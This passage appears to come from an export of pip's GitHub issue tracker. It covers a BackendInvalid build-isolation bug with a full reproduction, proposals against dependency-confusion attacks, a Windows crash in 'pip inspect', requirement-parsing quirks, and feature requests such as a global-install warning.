I run into this problem when trying to address pypa/setuptools#3806 and pypa/setuptools#3828. In those issues, users describe problems with the precedence of editable installs with `MetaPathFinder`. My initial approach was to "bump" the precedence by changing the insert position in `sys.meta_path` and `sys.path_hook`.

However, when running the tests with [`pytest-perf`](https://pypi.org/project/pytest-perf/), I received an error message from `pip`:

```
pip._vendor.pyproject_hooks._impl.BackendInvalid: Backend was not loaded from backend-path
```

Note that `pytest-perf` will install the project from the tracking VCS URL to use as a baseline for the performance comparison.

###### References
Implementation: https://github.com/pypa/setuptools/pull/3829
Failed tests: https://github.com/pypa/setuptools/actions/runs/4187531113/jobs/7257489290#step:7:646



### Expected behavior

`pip` would build the project in an isolated environment that is not contaminated by the virtual environment where pip is installed. This should be inline with PEP 517 description:

> A build frontend SHOULD, by default, create an isolated environment for each build, containing only the standard library and any explicitly requested build-dependencies.

(or at least use `importlib.util.spec_from_file_location` to ensure the `build-backend` is loaded from the place specified in `pyproject.toml > [build-system] > backend-path`)

### pip version

23.0.1

### Python version

Tested in 3.10.6 and 3.10.9

### OS

Tested in Ubuntu 20.04.5 LTS and also `python:3.10` container (Debian GNU/Linux 11 - bullseye)

### How to Reproduce

1. First we create a dummy backend that uses `backend-path`
    ```bash
    > docker run --rm -it python:3.10 /bin/bash

    rm -rf /tmp/my_backend
    mkdir -p /tmp/my_backend
    cd /tmp/my_backend
    cat <<EOF > pyproject.toml
    [build-system]
    requires = ["flit_core >=3.8.0,<4"]
    backend-path = ["."]
    build-backend = "my_backend"

    [project]
    name = "my_backend"
    version = "0.0.0"
    description = "foobar"
    EOF

    # Let's simulate a custom build backend ...
    # Assume it has a `build_editable` that uses a MetaPathFinder
    # inserted at position 0 (omitted for the sake of brevity).
    echo 'from flit_core.buildapi import *' > my_backend.py
    ```
2. Then we simulate the backend installation in "editable mode" using a `MetaPathFinder`:
    ```bash
    rm -rf /tmp/.venv
    python3.10 -m venv /tmp/.venv
    /tmp/.venv/bin/python -m pip install -U 'pip==23.0.1'
    /tmp/.venv/bin/python -m pip install 'flit_core >=3.8.0,<4'

    # Let's simulate the custom build backend was previously installed in editable mode
    cat <<EOF > /tmp/.venv/lib/python3.10/site-packages/_editable_impl_my_backend.py
    import sys
    from importlib.util import spec_from_file_location

    MAPPING = {"my_backend": "/tmp/my_backend/my_backend.py"}

    class _EditableFinder:  # MetaPathFinder
        @classmethod
        def find_spec(cls, fullname, path=None, target=None):
            if fullname in MAPPING:
                return spec_from_file_location(fullname, MAPPING[fullname])

    def install():
        if not any(finder == _EditableFinder for finder in sys.meta_path):
            sys.meta_path.insert(0, _EditableFinder)
    EOF
    echo 'import _editable_impl_my_backend; _editable_impl_my_backend.install()' > /tmp/.venv/lib/python3.10/site-packages/my_backend.pth

    mkdir /tmp/other
    cd /tmp/other
    /tmp/.venv/bin/python -c 'import my_backend; print(my_backend)'
    # => <module 'my_backend' from '/tmp/my_backend/my_backend.py'>
    ```
3. Finally, we try to install a different version of the same backend from a VCS URL - which will result in an error:
   ```bash
    rm -rf /tmp/install_target
    /tmp/.venv/bin/python -m pip -vvv install -t /tmp/install_target "my_backend @ git+https://gist.github.com/4f1f86d879179e2d185b6e82e4f50d17.git"
    # ...
    # pip._vendor.pyproject_hooks._impl.BackendInvalid: Backend was not loaded from backend-path
    ```

Please note that the backend is not really invalid in this case... What happens is that the build frontend is loading it from a different location instead of loading it from `backend-path`.

### Output

```console
# docker run --rm -it python:3.10 /bin/bash
$ rm -rf /tmp/my_backend
$ mkdir -p /tmp/my_backend
$ cd /tmp/my_backend
$ cat <<EOF > pyproject.toml
[build-system]
requires = ["flit_core >=3.8.0,<4"]
backend-path = ["."]
build-backend = "my_backend"

[project]
name = "my_backend"
version = "0.0.0"
description = "foobar"
EOF
$ echo 'from flit_core.buildapi import *' > my_backend.py
$ rm -rf /tmp/.venv
$ python3.10 -m venv /tmp/.venv
$ /tmp/.venv/bin/python -m pip install -U 'pip==23.0.1'
Collecting pip==23.0.1
  Downloading pip-23.0.1-py3-none-any.whl (2.1 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 2.1/2.1 MB 1.2 MB/s eta 0:00:00
Installing collected packages: pip
  Attempting uninstall: pip
    Found existing installation: pip 22.2.1
    Uninstalling pip-22.2.1:
      Successfully uninstalled pip-22.2.1
Successfully installed pip-23.0.1
$ /tmp/.venv/bin/python -m pip install 'flit_core >=3.8.0,<4'
Collecting flit_core<4,>=3.8.0
  Downloading flit_core-3.8.0-py3-none-any.whl (62 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 62.6/62.6 kB 1.1 MB/s eta 0:00:00
Installing collected packages: flit_core
Successfully installed flit_core-3.8.0
$ cat <<EOF > /tmp/.venv/lib/python3.10/site-packages/_editable_impl_my_backend.py
import sys
from importlib.util import spec_from_file_location

MAPPING = {"my_backend": "/tmp/my_backend/my_backend.py"}

class _EditableFinder:  # MetaPathFinder
    @classmethod
    def find_spec(cls, fullname, path=None, target=None):
        if fullname in MAPPING:
            return spec_from_file_location(fullname, MAPPING[fullname])

def install():
    if not any(finder == _EditableFinder for finder in sys.meta_path):
        sys.meta_path.insert(0, _EditableFinder)
EOF
$ echo 'import _editable_impl_my_backend; _editable_impl_my_backend.install()' > /tmp/.venv/lib/python3.10/site-packages/my_backend.pth
$ mkdir /tmp/other
$ cd /tmp/other
$ /tmp/.venv/bin/python -c 'import my_backend; print(my_backend)'
<module 'my_backend' from '/tmp/my_backend/my_backend.py'>
$ rm -rf /tmp/install_target
$ /tmp/.venv/bin/python -m pip -vvv install -t /tmp/install_target "my_backend @ git+https://gist.github.com/4f1f86d879179e2d185b6e82e4f50d17.git"
Using pip 23.0.1 from /tmp/.venv/lib/python3.10/site-packages/pip (python 3.10)
Non-user install due to --prefix or --target option
Created temporary directory: /tmp/pip-target-rb_hedkt
Created temporary directory: /tmp/pip-build-tracker-vpe84uob
Initialized build tracking at /tmp/pip-build-tracker-vpe84uob
Created build tracker: /tmp/pip-build-tracker-vpe84uob
Entered build tracker: /tmp/pip-build-tracker-vpe84uob
Created temporary directory: /tmp/pip-install-rjiqcf3e
Created temporary directory: /tmp/pip-ephem-wheel-cache-thvjcdal
Collecting my_backend@ git+https://gist.github.com/4f1f86d879179e2d185b6e82e4f50d17.git
  Cloning https://gist.github.com/4f1f86d879179e2d185b6e82e4f50d17.git to /tmp/pip-install-rjiqcf3e/my-backend_90e570b192394d7287e6c771158ffeb3
  Running command git version
  git version 2.30.2
  Running command git clone --filter=blob:none --verbose --progress https://gist.github.com/4f1f86d879179e2d185b6e82e4f50d17.git /tmp/pip-install-rjiqcf3e/my-backend_90e570b192394d7287e6c771158ffeb3
  Cloning into '/tmp/pip-install-rjiqcf3e/my-backend_90e570b192394d7287e6c771158ffeb3'...
  POST git-upload-pack (164 bytes)
  POST git-upload-pack (272 bytes)
  remote: Enumerating objects: 2, done.
  remote: Counting objects:  50% (1/2)
  remote: Counting objects: 100% (2/2)
  remote: Counting objects: 100% (2/2), done.
  remote: Compressing objects:  50% (1/2)
  remote: Compressing objects: 100% (2/2)
  remote: Compressing objects: 100% (2/2), done.
  remote: Total 2 (delta 0), reused 2 (delta 0), pack-reused 0
  Receiving objects:  50% (1/2)
  Receiving objects: 100% (2/2)
  Receiving objects: 100% (2/2), done.
  Running command git rev-parse HEAD
  1577d5b524e74766a2b9b8cf6a7cc73e630794e7
  Resolved https://gist.github.com/4f1f86d879179e2d185b6e82e4f50d17.git to commit 1577d5b524e74766a2b9b8cf6a7cc73e630794e7
  Running command git rev-parse HEAD
  1577d5b524e74766a2b9b8cf6a7cc73e630794e7
  Added my_backend@ git+https://gist.github.com/4f1f86d879179e2d185b6e82e4f50d17.git from git+https://gist.github.com/4f1f86d879179e2d185b6e82e4f50d17.git to build tracker '/tmp/pip-build-tracker-vpe84uob'
  Created temporary directory: /tmp/pip-build-env-wbowle8_
  Running command pip subprocess to install build dependencies
  Using pip 23.0.1 from /tmp/.venv/lib/python3.10/site-packages/pip (python 3.10)
  Collecting flit_core<4,>=3.8.0
    Using cached flit_core-3.8.0-py3-none-any.whl (62 kB)
  Installing collected packages: flit_core
  Successfully installed flit_core-3.8.0
  Installing build dependencies ... done
  Running command Getting requirements to build wheel
  Getting requirements to build wheel ... done
ERROR: Exception:
Traceback (most recent call last):
  File "/tmp/.venv/lib/python3.10/site-packages/pip/_internal/cli/base_command.py", line 160, in exc_logging_wrapper
    status = run_func(*args)
  File "/tmp/.venv/lib/python3.10/site-packages/pip/_internal/cli/req_command.py", line 247, in wrapper
    return func(self, options, args)
  File "/tmp/.venv/lib/python3.10/site-packages/pip/_internal/commands/install.py", line 419, in run
    requirement_set = resolver.resolve(
  File "/tmp/.venv/lib/python3.10/site-packages/pip/_internal/resolution/resolvelib/resolver.py", line 73, in resolve
    collected = self.factory.collect_root_requirements(root_reqs)
  File "/tmp/.venv/lib/python3.10/site-packages/pip/_internal/resolution/resolvelib/factory.py", line 491, in collect_root_requirements
    req = self._make_requirement_from_install_req(
  File "/tmp/.venv/lib/python3.10/site-packages/pip/_internal/resolution/resolvelib/factory.py", line 453, in _make_requirement_from_install_req
    cand = self._make_candidate_from_link(
  File "/tmp/.venv/lib/python3.10/site-packages/pip/_internal/resolution/resolvelib/factory.py", line 206, in _make_candidate_from_link
    self._link_candidate_cache[link] = LinkCandidate(
  File "/tmp/.venv/lib/python3.10/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 297, in __init__
    super().__init__(
  File "/tmp/.venv/lib/python3.10/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 162, in __init__
    self.dist = self._prepare()
  File "/tmp/.venv/lib/python3.10/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 231, in _prepare
    dist = self._prepare_distribution()
  File "/tmp/.venv/lib/python3.10/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 308, in _prepare_distribution
    return preparer.prepare_linked_requirement(self._ireq, parallel_builds=True)
  File "/tmp/.venv/lib/python3.10/site-packages/pip/_internal/operations/prepare.py", line 491, in prepare_linked_requirement
    return self._prepare_linked_requirement(req, parallel_builds)
  File "/tmp/.venv/lib/python3.10/site-packages/pip/_internal/operations/prepare.py", line 577, in _prepare_linked_requirement
    dist = _get_prepared_distribution(
  File "/tmp/.venv/lib/python3.10/site-packages/pip/_internal/operations/prepare.py", line 69, in _get_prepared_distribution
    abstract_dist.prepare_distribution_metadata(
  File "/tmp/.venv/lib/python3.10/site-packages/pip/_internal/distributions/sdist.py", line 48, in prepare_distribution_metadata
    self._install_build_reqs(finder)
  File "/tmp/.venv/lib/python3.10/site-packages/pip/_internal/distributions/sdist.py", line 118, in _install_build_reqs
    build_reqs = self._get_build_requires_wheel()
  File "/tmp/.venv/lib/python3.10/site-packages/pip/_internal/distributions/sdist.py", line 95, in _get_build_requires_wheel
    return backend.get_requires_for_build_wheel()
  File "/tmp/.venv/lib/python3.10/site-packages/pip/_internal/utils/misc.py", line 701, in get_requires_for_build_wheel
    return super().get_requires_for_build_wheel(config_settings=cs)
  File "/tmp/.venv/lib/python3.10/site-packages/pip/_vendor/pyproject_hooks/_impl.py", line 166, in get_requires_for_build_wheel
    return self._call_hook('get_requires_for_build_wheel', {
  File "/tmp/.venv/lib/python3.10/site-packages/pip/_vendor/pyproject_hooks/_impl.py", line 323, in _call_hook
    raise BackendInvalid(
pip._vendor.pyproject_hooks._impl.BackendInvalid: Backend was not loaded from backend-path
Remote version of pip: 23.0.1
Local version of pip:  23.0.1
Was pip installed by pip? True
Removed my_backend@ git+https://gist.github.com/4f1f86d879179e2d185b6e82e4f50d17.git from git+https://gist.github.com/4f1f86d879179e2d185b6e82e4f50d17.git from build tracker '/tmp/pip-build-tracker-vpe84uob'
Removed build tracker: '/tmp/pip-build-tracker-vpe84uob'
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: abravalheri
labels: type: bug: A confirmed bug or unintended behavior
C: build logic: Stuff related to metadata generation / wheel generation
issue_11810: state: open
title: Describe how to avoid dependency confusion in "secure installs" topic
body: added to secure-installs topic how to avoid dependency confusion, where is better use --index-url or --find-links with --no-index instead --extra-index-url.

resolve: #11722

<!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

user: fabiobarkoski
issue_11806: state: open
title: Compatibility tags option
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

user: SinOverCos
issue_11802: state: open
title: pip reports dependency conflict on itself for private package
body: ### Description

I have a private repository with pyproject.toml that sets package version to "0.1.0".
While I specified a dependency on it in requirements.txt of my main project in a form of `git+ssh://git@gitlab.***.com/<package>.git@v0.1.0`, everything was fine.

But when I tried to switch to pyproject.toml in my main project, using `"<package> @ git+ssh://git@gitlab.***.com/<package>.git@v0.1.0"` in dependencies section, I got the following error:

    ERROR: Cannot install <package> 0.1.0 (from ***) and <package>==0.1.0 because these package versions have conflicting dependencies.   
    The conflict is caused by:                                                                                                                                                    
        The user requested <package> 0.1.0 (from ***)                                                                                           
        <package> 0.1.0 depends on <package> 0.1.0 (from git+ssh://****@gitlab.***.com/<package>.git@v0.1.0)

I've tried to recreate .venv from scratch, but it didn't help.

### Expected behavior

Clean install as with requirements.txt.

### pip version

22.0.2

### Python version

3.10

### OS

Xubuntu 22.04

### How to Reproduce

As I use private package, it is hard to say how to reproduce.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: snaumov-sc
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11798: state: open
title: 'pip inspect' crashes with python-3.10.10 and pip-23.0.0 on Windows 11 (a rich problem ?) 
body: ### Description

trying `pip inspect >> text.txt` on my big list of wheels, I get the following crash:


````
pip install yarl==1.7.2
pip inspect>>test.txt
````

````
exit_buffer
    self._check_buffer()
  File "C:\WinP\bd310\budot\WPy32-310100b1\python-3.10.10\lib\site-packages\pip\_vendor\rich\console.py", line 2024, in _check_buffer
    legacy_windows_render(buffer, LegacyWindowsTerm(self.file))
  File "C:\WinP\bd310\budot\WPy32-310100b1\python-3.10.10\lib\site-packages\pip\_vendor\rich\_windows_renderer.py", line 17, in legacy_windows_render
    term.write_styled(text, style)
  File "C:\WinP\bd310\budot\WPy32-310100b1\python-3.10.10\lib\site-packages\pip\_vendor\rich\_win32_console.py", line 442, in write_styled
    self.write_text(text)
  File "C:\WinP\bd310\budot\WPy32-310100b1\python-3.10.10\lib\site-packages\pip\_vendor\rich\_win32_console.py", line 403, in write_text
    self.write(text)
  File "C:\WinP\bd310\budot\WPy32-310100b1\python-3.10.10\lib\encodings\cp1252.py", line 19, in encode
    return codecs.charmap_encode(input,self.errors,encoding_table)[0]
UnicodeEncodeError: 'charmap' codec can't encode characters in position 1843-1846: character maps to <undefined>
````


### Expected behavior

no crash

### pip version

pip-23.0.0

### Python version

cpython-3.10.10

### OS

Windows11

### How to Reproduce

you may try on windows
````
pip install yarl==1.7.2
pip inspect>>test.txt
````

I was using this list of packages:

pip list
Package      Version
------------ ------------
idna         3.1
msvc-runtime 14.32.31326
multidict    6.0.2
pip          23.0
setuptools   67.2.0
simpy        4.0.1
sqlite-bro   0.12.2
wheel        0.38.4
winpython    6.0.20230212
yarl         1.7.2
</details>

### Output


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: stonebig
labels: kind: crash: For situations where pip crashes
C: output: Related to what pip prints
issue_11784: state: open
title: Error when multiple repositories provide the same package
body: ### What's the problem this feature will solve?

There's a long standing class of attacks that are typically called "dependency confusion" attacks, which roughly boil down to an individual expected to get package A, but instead they got B. In Python, this almost always happens due to the end user having configured multiple repositories, where they expect package A to come from repository X, but someone is able to publish something named package A at repository Y as well.

Traditionally this takes the form that someone has a private repository for only internal packages, but they also want to use PyPI as a fallback for anything that comes from the wider ecosystem, then someone comes along and registers one or more of their internal packages on PyPI and publishes their own code to it. This causes pip to effectively "merge" these two repositories and view them both as equally authoritative on package A.



### Describe the solution you'd like

A key thing to notice here, is that dependency confusion depends on project A being expected to come from repository X, but really it ends up coming from repository Y, which almost always means that pip sees that A coming from both X and Y.

Thus, I suggest we "solve" dependency confusion attacks, and have pip, prior to doing any other filtering like for wheel compatibility, etc, determine if the collected links for a particular project only come from a single repository or if they come from multiple, and **IF** it's discovered links from multiple repositories, then it would generate an error and refuse to proceed.

Note: It may make sense to de-duplicate the URLs in cases where the URLs have a a hash, and the hashes match between multiple repositories, so that files where the exact same files exist on all repositories are still OK, it's just cases where they have different files.

We may also want some way to indicate that a particular package should opt out of this, or to target a specific repository for a specific packages, but maybe we don't? I can think of a few options:

1. Don't do anything, tell people that for safety they'll need an index server that provides options to combine multiple repositories in a safe way.
2. Put the check for files coming from both repositories *after* filtering out files that don't match our given hashes in hash checking mode, thus people who want to handle this without another index, can switch to hash checking instead.
3. Provide an option to map a specific package to a specific repository.

Obviously we would need to phase this in over time, presumably by having it generate warnings at first that you can upgrade to errors, then errors that you can downgrade to warnings, then finally only errors (sans any choices we pick to allow people to select the repository they want to use for a specific package).

### Alternative Solutions

1. Push people to use custom repositories - This solution generally works, but the dependency confusion attack can occur anytime the end user has multiple repositories, so you would need a custom repository for each unique set of repositories (which basically boils down to each user needing to run their own) which is a lot of wasted effort. The more damning thing for this idea is that it's opt in, which means we can't protect users by default, so most people would remain unprotected.
2. Push people to use hash checking mode - This basically has the same answer as (1), it's opt in so it leaves most people unprotected.
3. Just implement the mechanism to map specific packages to specific repository - Again, this is an opt in thing, so it leaves most people unprotected.

### Additional context

This idea came out of the [
Proposal: Preventing dependency confusion attacks with the map file ](https://discuss.python.org/t/proposal-preventing-dependency-confusion-attacks-with-the-map-file/23414) thread on discuss.p.o, while a lot of discussion happened there talking about different strategies that someone could use to protect themselves from dependency confusion attacks. In that discussion, it occurred to me that all of these strategies require the end user to opt in to the protection, but ideally we want something that can happen by default, thus it dawned on me that the core problem comes from pip effectively merging two repositories... so pip could just not do that.



### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: dstufft
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
C: finder: PackageFinder and index related code
issue_11778: state: open
title: tests: build isolation issues with C/C++ ABI dependencies
body: This commit provides a simple test that demonstrates the issues a resolver-unaware build isolation imposes on packages with C/C++ ABI dependencies.

Cf. https://github.com/pypa/pip/issues/9542 for the corresponding discussion.


user: d1saster
issue_11777: state: open
title: install_requires parsing different between install methods
body: ### Description

When parsing the install_requires parameter of a setup.py file in a local install pip is incorrectly parsing the requirements and failing to remark on a syntax error.      

### Expected behavior

When running the command `pip install -e .` on a local package with the following setup file

```
import os
import setuptools

THIS_DIR = os.path.dirname(__file__)

# Get the relevant setup parameters from the package
parameters = {}
# Get the long description from the README file
with open(os.path.join(THIS_DIR, 'docs-test', '__about__.py'), 'r') as f:
    exec(f.read(), parameters)

setuptools.setup(name='docs-test',
                 version=parameters['__version__'],
                 description=parameters['__description__'],
                 install_requires=['pytest>7<7.2.1'], #Place package dependencies here
                 packages=setuptools.find_packages(exclude=('*test*',)),
                 zip_safe=False,
                 )
```
The command should fail as the line `install_requires=['pytest>7<7.2.1'], #Place package dependencies here` is missing comma separators between version constraints

### pip version

23.0

### Python version

3.10.9

### OS

ubuntu

### How to Reproduce

1. In a package's setup.py file specify requirements without comma separators
2. Run `pip install -e .`
3. Note that packages are installed, no error was thrown and versions may be incorrect

### Output

Specify requirements without comma separators

```
(docs-test) user@laptop:~/git_repos/dev/docs_test$ cat setup.py 
import os
import setuptools

THIS_DIR = os.path.dirname(__file__)

# Get the relevant setup parameters from the package
parameters = {}
# Get the long description from the README file
with open(os.path.join(THIS_DIR, 'docs-test', '__about__.py'), 'r') as f:
    exec(f.read(), parameters)

setuptools.setup(name='docs-test',
                 version=parameters['__version__'],
                 description=parameters['__description__'],
                 install_requires=['pytest>7<7.2.1'], #Place package dependencies here
                 packages=setuptools.find_packages(exclude=('*test*',)),
                 zip_safe=False,
                 )
```

Run `pip install -e .`

```
(docs-test) user@laptop:~/git_repos/dev/docs_test$ pip install -e .
Defaulting to user installation because normal site-packages is not writeable
Looking in indexes: https://pypi.org/simple, https://builder:****@nexus.ursaspace.com:8443/repository/pypi-releases/simple
Obtaining file:///home/warren/git_repos/dev/docs_test
  Preparing metadata (setup.py) ... done
Collecting pytest>7<7.2.1
  Using cached https://nexus.ursaspace.com:8443/repository/pypi-releases/packages/cc/02/8f59bf194c9a1ceac6330850715e9ec11e21e2408a30a596c65d54cf4d2a/pytest-7.2.1-py3-none-any.whl (317 kB)
Requirement already satisfied: attrs>=19.2.0 in /home/warren/.local/lib/python3.10/site-packages (from pytest>7<7.2.1->docs-test==1.0.0) (22.1.0)
Requirement already satisfied: pluggy<2.0,>=0.12 in /home/warren/.local/lib/python3.10/site-packages (from pytest>7<7.2.1->docs-test==1.0.0) (1.0.0)
Requirement already satisfied: iniconfig in /home/warren/.local/lib/python3.10/site-packages (from pytest>7<7.2.1->docs-test==1.0.0) (1.1.1)
Requirement already satisfied: tomli>=1.0.0 in /home/warren/.local/lib/python3.10/site-packages (from pytest>7<7.2.1->docs-test==1.0.0) (2.0.1)
Requirement already satisfied: packaging in /home/warren/.local/lib/python3.10/site-packages (from pytest>7<7.2.1->docs-test==1.0.0) (21.3)
Requirement already satisfied: exceptiongroup>=1.0.0rc8 in /home/warren/.local/lib/python3.10/site-packages (from pytest>7<7.2.1->docs-test==1.0.0) (1.0.4)
Requirement already satisfied: pyparsing!=3.0.5,>=2.0.2 in /home/warren/.local/lib/python3.10/site-packages (from packaging->pytest>7<7.2.1->docs-test==1.0.0) (3.0.9)
Installing collected packages: pytest, docs-test
  Running setup.py develop for docs-test
Successfully installed docs-test-1.0.0 pytest-7.2.1
```

Note package installation and incorrect version

```
(docs-test) user@laptop:~/git_repos/dev/docs_test$ pip list | grep pytest
pytest                       7.2.1
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: thekickartist
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11771: state: open
title: An option to start a local index proxy when running pip
body: ### What's the problem this feature will solve?

Many problems people have with index server handling (such as index priority, dependency confusion attacks, filtering available package releases by age, etc) can relatively simply be solved using an index proxy, that presents a "view" of the underlying index(es). However, users are typically reluctant to use such a proxy index. Generally it's difficult to get people to articulate the reasons they don't like this option, but the most common complaint is the need to manage a separate running service.

### Describe the solution you'd like

If pip had an option that specified a script which started an index server for the duration of the pip invocation, people could use this to avoid the need to have a permanently running index proxy.

For example, the user creates[^1] a script `my_index.py`, which starts up an index server. Then, they invoke pip using the command `pip install --index-script=my_index.py ...`. When started, pip will run the index script, and communicate with it to agree on a proxy URL that it will provide. The rest of the pip invocation works as normal, using the temporary index. When pip completes, it shuts down the proxy automatically.

The details of the communication between pip and the script will need to be established, but it can probably be as simple as pip choosing a port number, and passing it as an argument to the script.


[^1]: In an ideal world, an ecosystem of proxy implementations will become available, so the user simply downloads a suitable script and configures it.

### Alternative Solutions

The current approach, where the user has to manually start a proxy before running pip, is viable, but appears unattractive to users as a solution.

Alternative solutions to individual issues have been proposed as pip feature requests - for example, #8606 and https://discuss.python.org/t/proposal-preventing-dependency-confusion-attacks-with-the-map-file/23414. These solve individual problems, but are not as general as the proposed solution.

### Additional context

Creating an index proxy script is potentially more complexity than many users will be comfortable with, which is likely to limit the adoption of this proposal. This can be addressed, at least in part, by publishing a set of scripts that handle well-known cases like index prioritisation.

Unfortunately, pip has a limited amount of developer resource, and that makes it difficult to implement solutions to the various issues raised in a timely manner. Also, it's necessary to make sure that any solution works for *every* user's situation, which further delays resolution. By, in effect, "outsourcing" the work of solving the issue to the end user, simple, tightly focused solutions can be delivered in a much more timely manner, and pressure is taken off the volunteers supporting pip.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: pfmoore
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_11764: state: open
title: Relax `check_dist_restriction` for dry runs
body: ### What's the problem this feature will solve?

I am trying to use `pip` as a cross platform dependency resolver with the new `--report` flag. However, currently this does not work well:
```
$ pip3 install --ignore-installed --python-version 37 --abi cp37m --platform manylinux1_x86_64 --implementation cp --dry-run --quiet --report - frozenlist uwsgi
ERROR: When restricting platform and interpreter constraints using --python-version, --platform, --abi, or --implementation, either --no-deps must be set, or --only-binary=:all: must be set and --no-binary must not be set (or must be set to :none:).
```

Restricting to `--only-binary` does not work in this case because `uwsgi` does not have a compatible wheel.

### Describe the solution you'd like

It appears to me that the current `check_dist_restriction` is unnecessarily restrictive for dry runs. Hence it would be nice to relax this restriction.

### Alternative Solutions

It's definitely possible to just use pip functionality as a library and create a separate resolver entry point for my use case. (Or I can just fork pip with my need). But the fix to pip seems simple enough so I would like to try upstream it.

### Additional context

https://github.com/pypa/pip/issues/53

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: tgeng
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11762: state: open
title: Do basic syntax checks on the RECORD file when installing a wheel
body: For now, only check requirements specified in the original RECORD specification (<https://packaging.python.org/en/latest/specifications/recording-installed-packages/#the-record-file>), without the added constraints from the wheel specification.

Some of the warnings ("invalid digest size" and "duplicate line") should really be errors, but I was able to find some popular projects that have these problems (any projects built with sphinx-theme-builder for the former, zeroconf for the latter). To avoid breaking stuff, keep these as warnings for now.

Fixes #6198
Fixes #5913
Un-fixes #6165 (the underlying issue in wheel has been fixed 3 years ago, so the workaround should no longer be needed)

user: SpecLad
issue_11753: state: open
title: Add option for global installation warning
body: This PR implements a new (opt-in) option `--global-install-warning` to warn the user if they're installing without a virtual environment activated, this does not conflict with the existing option `--require-virtualenv` which gives an error when enabled and a virtualenv is not detected. If both `--require-virtualenv` and `--global-install-warning` are given then it will behave as if only `--require-virtualenv` was passed.

Example:
```
$ pip config set install.require-virtualenv true
Writing to /home/<user>/.config/pip/pip.conf

$ pip config set install.global-install-warning true
Writing to /home/<user>/.config/pip/pip.conf

$ pip install -r requirements.txt
ERROR: Could not find an activated virtualenv (required).

$ pip config unset install.require-virtualenv
Writing to /home/<user>/.config/pip/pip.conf

$ pip install -r requirements.txt
WARNING: Could not find an activated virtualenv.
Proceed (y/N)? 

```

fixes #11752.
user: sujaldev
labels: needs rebase or merge: PR has conflicts with current master
issue_11752: state: open
title: Global Installation Warning
body: ### What's the problem this feature will solve?

Often times I (and I presume many other people) forget to activate a virtual environment and accidentally install globally, flooding the bin folder with a lot of unnecessary files, which becomes annoying for tab to autocomplete. And there exist many other reasons to not install globally, depending on what you're doing.

### Describe the solution you'd like

This could be a opt-in/opt-out feature, depending on what the consensus is, through the configuration file maybe?

```
$ pip install -r requirements.txt
WARNING: Installing globally! Proceed (y/N)? 

$ pip config set install.global-install-warning false
$ pip install -r requirements.txt
...

$ pip config set install.global-install-warning true
$ pip install -r requirements.txt
WARNING: Installing globally! Proceed (y/N)? 
```

### Alternative Solutions

`pip config set install.require-virtualenv true` does more or less what I want but I think if there existed another option that does not just raise an error rather gives a warning and asks whether or not to proceed, that would be much more convenient. 

### Additional context

[This](https://stackoverflow.com/questions/37259790/confirmation-when-installing-with-pip-globally) might be helpful.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: sujaldev
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11750: state: open
title: Docs: Add bullet point mentioning "pip_proxy" env variable
body: The section [Using a Proxy Server](https://github.com/pypa/pip/blob/main/docs/html/user_guide.rst#using-a-proxy-server) currently only mentions the environment variables `http_proxy`, `https_proxy` and `no_proxy`. Using these variables had side effects and we had too look for a different solution. Luckily I stumbled upon the [environment-variables](https://pip.pypa.io/en/latest/topics/configuration/#environment-variables) section and found out that setting the proxy via `pip_proxy` is also possible.

I think adding this information to the proxy section would be beneficial for others.
user: rabelux
issue_11735: state: open
title: Specifying multiple extra-index-url results in "No matching distribution found" for one of the packages
body: ### Description

When using several extra-index-url with a same domain name but different tokens, pip doesn't act approriately.
There is a close issue here https://github.com/pypa/pip/issues/9557 that seems related.
The issue was said to be solved in 20.0.3, but it doesn't seem to be the case in the latest pip version available on pip 

### Expected behavior

https://github.com/pypa/pip/issues/9557

### pip version

20.0.2 && 22.3.1

### Python version

3.8.10

### OS

Ubuntu 20.04.5

### How to Reproduce

1. use several `--extra-index-url` with the same domain name in `requirements.txt` but a different url path and a token with restrictive rights (each token give access to a specific path)
2. run `pip install -r requirements.txt`

### Output

"No matching distribution found" for one of the packages"

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: drogeek
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11728: state: open
title: Pip freeze does not version check against requirements file
body: ### Description

If you invoke `pip freeze -r requirements.txt` and a package is installed, but a version is given in that file and it mismatches the installed version, this should be reported but isn't.

